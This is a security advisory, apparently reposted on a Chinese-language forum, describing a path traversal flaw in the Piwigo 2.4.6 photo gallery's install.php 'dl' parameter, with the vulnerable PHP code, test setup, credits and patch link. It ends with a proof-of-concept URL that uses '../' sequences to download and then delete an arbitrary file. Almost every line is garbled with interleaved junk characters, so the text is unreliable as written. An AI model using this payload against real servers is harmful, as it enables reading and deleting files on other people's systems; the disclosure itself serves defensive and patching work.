Piwigo是用PHP编写的相册脚本。2 \$ V. L9 [" ~% e% ~
' b+ L% T8 q. y( |6 t; ^! fPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
$ N3 N$ j1 `1 a2 g) X4 z' \7 f====================================================================
( S4 Y/ W; E) f; `* N6 E/install.php:
" \8 v2 a5 Y1 N' L- s; w/ ?, @6 g% v-------------1 H0 p A+ f+ D; \' [7 t/ D
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])): p w0 }) ~5 @! [1 Q) W2 ?. v
114: {
. i8 i' [/ d# m; t( d. {: e- r5 Y115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']; C$ p1 d8 u! m) J j; w& b+ p5 k: l! t
116: header('Cache-Control: no-cache, must-revalidate');
; a, n |3 ]5 n5 u _117: header('Pragma: no-cache');8 M8 X3 {7 k* h- D
118: header('Content-Disposition: attachment; filename="database.inc.php"');
- g6 j- b$ ~2 a3 W119: header('Content-Transfer-Encoding: binary');4 d c. [5 P2 s5 j
120: header('Content-Length: '.filesize($filename));1 D) Y' m( N( X
121: echo file_get_contents($filename);
, u# l7 T G* v3 t3 V122: unlink($filename);7 U6 K$ z: I+ o3 e
123: exit();' T2 |* {/ W. T( C8 P
124: }
5 g# z0 m: Z5 T% v# J====================================================================
7 P& Z( ^2 O. I# b7 | . L8 _9 v3 w) V! K5 S
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)2 ^6 o$ P, g+ k
Apache 2.4.2 (Win32)7 c2 i0 i! h: X+ A5 W: w: }' ^
PHP 5.4.4* V/ |; b6 @& F+ m" e6 p. z N8 o
MySQL 5.5.25a" q( _$ h/ G7 @% w- {6 G6 g
2 o( d5 \3 w4 [
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
. z: C ?" [9 O- o! h/ ]9 `. V1 h @zeroscience/ s+ q r& [' A! [( d9 I; E
) j" j; ]2 K8 n/ jAdvisory ID: ZSL-2013-5127
1 f- X" W0 l2 m9 EAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
- U( H) ^ J$ e: r: S" iVendor Patch: http://piwigo.org/bugs/view.php?id=2843) h3 h0 a" \. M
. c" X* _7 }1 M1 C# D- E
15.02.2013! M( r K: A$ L) J; s
" l3 R O3 u. L7 a4 y& {) Q--
# O8 _, F6 `% x5 H; D& whttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
3 \( Y, F% x! O$ l4 _3 |8 S$ ] . s1 N/ F5 o/ u9 z7 O) a2 N" |
|